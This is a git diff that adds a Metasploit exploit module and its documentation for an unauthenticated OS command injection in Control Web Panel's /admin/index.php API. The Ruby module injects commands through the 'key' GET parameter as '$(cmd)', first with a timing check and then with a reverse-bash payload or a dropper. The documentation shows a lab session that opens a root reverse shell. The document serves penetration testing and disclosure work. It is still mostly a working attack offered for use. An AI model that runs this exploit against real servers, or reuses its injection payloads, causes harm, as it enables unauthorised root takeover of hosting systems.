diff --git a/documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md b/documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md new file mode 100644 index 0000000000..bab4644bb5 --- /dev/null +++ b/documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md @@ -0,0 +1,68 @@ +## Vulnerable Application + +Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to unauthenticated OS command injection +via the `key` GET parameter in `/admin/index.php` when the `api` parameter is set. Successful +exploitation results in code execution as the root user. + +This is a blind command injection vulnerability - results are not returned in the HTTP response. + +**Prerequisites**: Softaculous and/or SitePad must be installed via the Scripts Manager. + +## Verification Steps + +1. Install CWP version 0.9.8.1208 or earlier on CentOS 7/8 +2. Install Softaculous via CWP Scripts Manager +3. Start Metasploit: `msfconsole` +4. Load the module: `use exploit/linux/http/control_web_panel_api_cmd_exec` +5. Set options: `set RHOSTS ` and `set LHOST ` +6. Run: `check` to verify vulnerability +7. Run: `exploit` to get a shell + +## Options + +### TARGETURI + +The path to the vulnerable endpoint. Default: `/admin/index.php` + +### SSL + +CWP admin panel typically runs on HTTPS port 2031. Default: `true` + +## Scenarios + +### CWP Version 0.9.8.1208 on CentOS 8 + +``` +msf6 > use exploit/linux/http/control_web_panel_api_cmd_exec +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set RHOSTS 192.168.123.134 +RHOSTS => 192.168.123.134 +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set RPORT 2031 +RPORT => 2031 +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set SSL true +SSL => true +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set LHOST 192.168.123.128 +LHOST => 192.168.123.128 +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > check +[*] Checking vulnerability with sleep command (waiting 6 seconds)... +[+] 192.168.123.134:2031 - The target appears to be vulnerable. Server waited 6.3 seconds (expected >= 6). +msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > exploit + +[*] Started reverse TCP handler on 192.168.123.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking vulnerability with sleep command (waiting 7 seconds)... +[+] The target appears to be vulnerable. Server waited 7.25 seconds (expected >= 7). +[*] Executing Unix Command for cmd/unix/reverse_bash +[*] Command shell session 1 opened (192.168.123.128:4444 -> 192.168.123.134:47550) at 2025-12-23 19:00:26 -0500 + +id +uid=0(root) gid=0(root) groups=0(root) +whoami +root +hostname +localhost.localdomain +cat /etc/redhat-release +CentOS Linux release 8.5.2111 +``` diff --git a/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb new file mode 100644 index 0000000000..469786440f --- /dev/null +++ b/modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Control Web Panel /admin/index.php Unauthenticated RCE', + 'Description' => %q{ + Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to + unauthenticated OS command injection. User input passed via the + "key" GET parameter to /admin/index.php (when the "api" parameter is set) + is not properly sanitized before being used to execute OS commands. + This can be exploited by unauthenticated attackers to inject and execute + arbitrary OS commands with the privileges of the root user on the web server. + + Successful exploitation usually requires "Softaculous" and/or "SitePad" + to be installed through the Scripts Manager. + }, + 'Author' => [ + 'Lukas Johannes Möller', # Metasploit module + 'Egidio Romano' # Vulnerability discovery + ], + 'References' => [ + ['CVE', '2025-67888'], + ['URL', 'https://karmainsecurity.com/KIS-2025-09'], + ['URL', 'https://www.cve.org/CVERecord?id=CVE-2025-67888'], + ['URL', 'https://control-webpanel.com'] + ], + 'DisclosureDate' => '2025-12-16', + 'License' => MSF_LICENSE, + 'Platform' => ['linux', 'unix'], + 'Arch' => ARCH_ALL, + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_ALL, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + }, + 'Payload' => { + 'Encoder' => 'cmd/base64', + 'BadChars' => "\x00\x20" + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + Opt::RPORT(2031) + ]) + end + + def check + sleep_time = rand(5..10) + + print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...") + + res, elapsed_time = Rex::Stopwatch.elapsed_time do + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('/admin/index.php'), + 'vars_get' => { + 'api' => '1', + 'key' => "$(sleep #{sleep_time})" + } + ) + end + + vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds") + + return CheckCode::Unknown('No response from server.') unless res + return CheckCode::Vulnerable("Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") if elapsed_time >= sleep_time + + CheckCode::Safe("Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end + + def execute_command(cmd, _opts = {}) + vprint_status("Executing command: #{cmd}") + + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('/admin/index.php'), + 'vars_get' => { + 'api' => '1', + 'key' => "$(#{cmd})" + } + ) + end +end